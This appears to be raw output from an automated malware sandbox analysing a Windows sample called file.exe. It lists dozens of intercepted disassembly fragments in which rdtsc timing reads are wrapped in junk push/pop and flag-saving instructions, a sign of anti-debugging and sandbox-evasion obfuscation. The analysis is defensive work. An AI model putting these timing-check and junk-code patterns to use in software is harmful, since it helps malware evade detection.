Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED12FA second address: ED1300 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED1300 second address: ED1304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED1304 second address: ED1321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F7AB0FF775Eh 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED14E4 second address: ED14E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED1834 second address: ED183A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED183A second address: ED183F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED183F second address: ED1856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB0FF7763h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ED2F6D second address: ED2F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7AB12EBC92h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4940063 second address: 49400B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7AB0FF7763h 0x00000009 sbb cx, 43EEh 0x0000000e jmp 00007F7AB0FF7769h 0x00000013 popfd 0x00000014 mov esi, 2E44AB77h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ebp, esp 0x0000001e jmp 00007F7AB0FF775Ah 0x00000023 pop ebp 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 mov al, 9Ch 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4980014 second address: 498001A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498001A second address: 498006B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F7AB0FF7766h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F7AB0FF775Dh 0x0000001a xor eax, 7B8CA316h 0x00000020 jmp 00007F7AB0FF7761h 0x00000025 popfd 0x00000026 mov esi, 2C9F9187h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 498006B second address: 4980083 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 37ECFF9Eh 0x00000008 mov edx, 01A577AAh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4980083 second address: 4980087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4980087 second address: 49800A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49800A1 second address: 49800FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7AB0FF7761h 0x00000009 add si, E086h 0x0000000e jmp 00007F7AB0FF7761h 0x00000013 popfd 0x00000014 jmp 00007F7AB0FF7760h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F7AB0FF7767h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49800FA second address: 4980100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4980100 second address: 4980104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4980104 second address: 4980108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491011F second address: 4910123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910123 second address: 4910129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910129 second address: 4910199 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F7AB0FF775Eh 0x00000011 adc al, 00000048h 0x00000014 jmp 00007F7AB0FF775Bh 0x00000019 popfd 0x0000001a jmp 00007F7AB0FF7768h 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F7AB0FF775Ch 0x0000002a add cx, 68D8h 0x0000002f jmp 00007F7AB0FF775Bh 0x00000034 popfd 0x00000035 mov ebx, esi 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910199 second address: 49101C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7AB12EBC8Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49101C2 second address: 49101D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB0FF775Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49101D2 second address: 49101D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49101D6 second address: 49101EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7AB0FF775Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49101EC second address: 4910258 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F7AB12EBC94h 0x00000013 add ah, 00000028h 0x00000016 jmp 00007F7AB12EBC8Bh 0x0000001b popfd 0x0000001c jmp 00007F7AB12EBC98h 0x00000021 popad 0x00000022 push dword ptr [ebp+0Ch] 0x00000025 jmp 00007F7AB12EBC90h 0x0000002a push dword ptr [ebp+08h] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4910258 second address: 491025C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 491025C second address: 4910262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930D22 second address: 4930D5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 28019839h 0x00000008 jmp 00007F7AB0FF7766h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7AB0FF7767h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930D5D second address: 4930D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930D63 second address: 4930D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930D67 second address: 4930D6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49308CF second address: 49308D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49308D5 second address: 49308D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49308D9 second address: 4930904 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7AB0FF7767h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930904 second address: 4930931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7AB12EBC8Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930931 second address: 4930937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930937 second address: 493093B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493093B second address: 493093F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493078C second address: 49307CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov di, ax 0x0000000e mov cx, A63Fh 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F7AB12EBC97h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49307CF second address: 49307D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49307D3 second address: 49307D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49307D9 second address: 49307F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 73B1h 0x00000007 mov edx, ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7AB0FF775Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49307F7 second address: 493083E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7AB12EBC8Fh 0x00000008 call 00007F7AB12EBC98h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F7AB12EBC93h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493083E second address: 4930842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930842 second address: 4930848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930515 second address: 493056A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebx, esi 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F7AB0FF775Eh 0x00000010 sbb ax, 9B98h 0x00000015 jmp 00007F7AB0FF775Bh 0x0000001a popfd 0x0000001b push eax 0x0000001c push edx 0x0000001d pushfd 0x0000001e jmp 00007F7AB0FF7766h 0x00000023 and ecx, 4EE9C5F8h 0x00000029 jmp 00007F7AB0FF775Bh 0x0000002e popfd 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493056A second address: 4930576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4930576 second address: 493057A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 493057A second address: 4930580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970F7C second address: 4970F9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7761h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970F9A second address: 4970FA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB12EBC8Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950511 second address: 495059E instructions: 0x00000000 rdtsc 0x00000002 call 00007F7AB0FF7763h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7AB0FF7769h 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov ebx, ecx 0x00000014 pushfd 0x00000015 jmp 00007F7AB0FF7768h 0x0000001a sbb cx, 8998h 0x0000001f jmp 00007F7AB0FF775Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 jmp 00007F7AB0FF7766h 0x0000002d mov eax, dword ptr [ebp+08h] 0x00000030 pushad 0x00000031 mov cx, 390Dh 0x00000035 mov ebx, esi 0x00000037 popad 0x00000038 and dword ptr [eax], 00000000h 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495059E second address: 49505A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49505A2 second address: 49505A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49306B8 second address: 49306D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7AB12EBC8Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49306D9 second address: 49306EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ah, 77h 0x0000000e mov dx, 3A32h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950339 second address: 495033F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495033F second address: 4950343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950343 second address: 495037E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F7AB12EBC93h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F7AB12EBC96h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495037E second address: 4950382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4950382 second address: 495039F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 495039F second address: 49503A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49503A5 second address: 49503A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970702 second address: 4970706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970706 second address: 497070A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497070A second address: 4970710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970710 second address: 4970716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970716 second address: 497071A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970820 second address: 4970833 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 je 00007F7B238AEDC4h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov ch, bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970833 second address: 497085A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7760h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b call 00007F7AB0FF7760h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497085A second address: 4970898 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ecx, eax 0x00000009 jmp 00007F7AB12EBC97h 0x0000000e xor eax, dword ptr [ebp+08h] 0x00000011 pushad 0x00000012 mov ax, bx 0x00000015 mov cl, bl 0x00000017 popad 0x00000018 and ecx, 1Fh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F7AB12EBC8Fh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970898 second address: 497089E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497089E second address: 49708A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49708A2 second address: 49708E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ror eax, cl 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F7AB0FF7764h 0x00000014 or si, 32D8h 0x00000019 jmp 00007F7AB0FF775Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 mov ax, C425h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49708E2 second address: 497091C instructions: 0x00000000 rdtsc 0x00000002 movzx esi, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 leave 0x00000009 jmp 00007F7AB12EBC8Dh 0x0000000e retn 0004h 0x00000011 nop 0x00000012 mov esi, eax 0x00000014 lea eax, dword ptr [ebp-08h] 0x00000017 xor esi, dword ptr [00C22014h] 0x0000001d push eax 0x0000001e push eax 0x0000001f push eax 0x00000020 lea eax, dword ptr [ebp-10h] 0x00000023 push eax 0x00000024 call 00007F7AB507C4C1h 0x00000029 push FFFFFFFEh 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushfd 0x0000002f jmp 00007F7AB12EBC8Ah 0x00000034 and si, 2468h 0x00000039 jmp 00007F7AB12EBC8Bh 0x0000003e popfd 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497091C second address: 497094A instructions: 0x00000000 rdtsc 0x00000002 mov cx, 7A5Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushfd 0x0000000b jmp 00007F7AB0FF7762h 0x00000010 sub si, F6C8h 0x00000015 jmp 00007F7AB0FF775Bh 0x0000001a popfd 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 497094A second address: 4970972 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 jmp 00007F7AB12EBC92h 0x0000000d ret 0x0000000e nop 0x0000000f push eax 0x00000010 call 00007F7AB507C524h 0x00000015 mov edi, edi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a movsx edx, ax 0x0000001d mov ax, 1735h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970972 second address: 4970996 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e mov esi, 26254F07h 0x00000013 popad 0x00000014 mov di, cx 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c mov al, dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4970996 second address: 49709E3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F7AB12EBC8Eh 0x00000008 xor ecx, 67808DE8h 0x0000000e jmp 00007F7AB12EBC8Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F7AB12EBC95h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F7AB12EBC8Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 492002E second address: 492005E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF775Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F7AB0FF775Ch 0x00000013 and cx, 97C8h 0x00000018 jmp 00007F7AB0FF775Bh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 492005E second address: 49200DF instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F7AB12EBC94h 0x0000000c adc si, 9A28h 0x00000011 jmp 00007F7AB12EBC8Bh 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F7AB12EBC99h 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov edi, 65295C1Eh 0x00000027 pushfd 0x00000028 jmp 00007F7AB12EBC8Fh 0x0000002d sub eax, 74F308CEh 0x00000033 jmp 00007F7AB12EBC99h 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49200DF second address: 49200E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49200E5 second address: 49200E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 49200E9 second address: 492013E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7763h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F7AB0FF7766h 0x00000012 and esp, FFFFFFF8h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov dx, 1FC0h 0x0000001c jmp 00007F7AB0FF7769h 0x00000021 popad 0x00000022 rdtsc
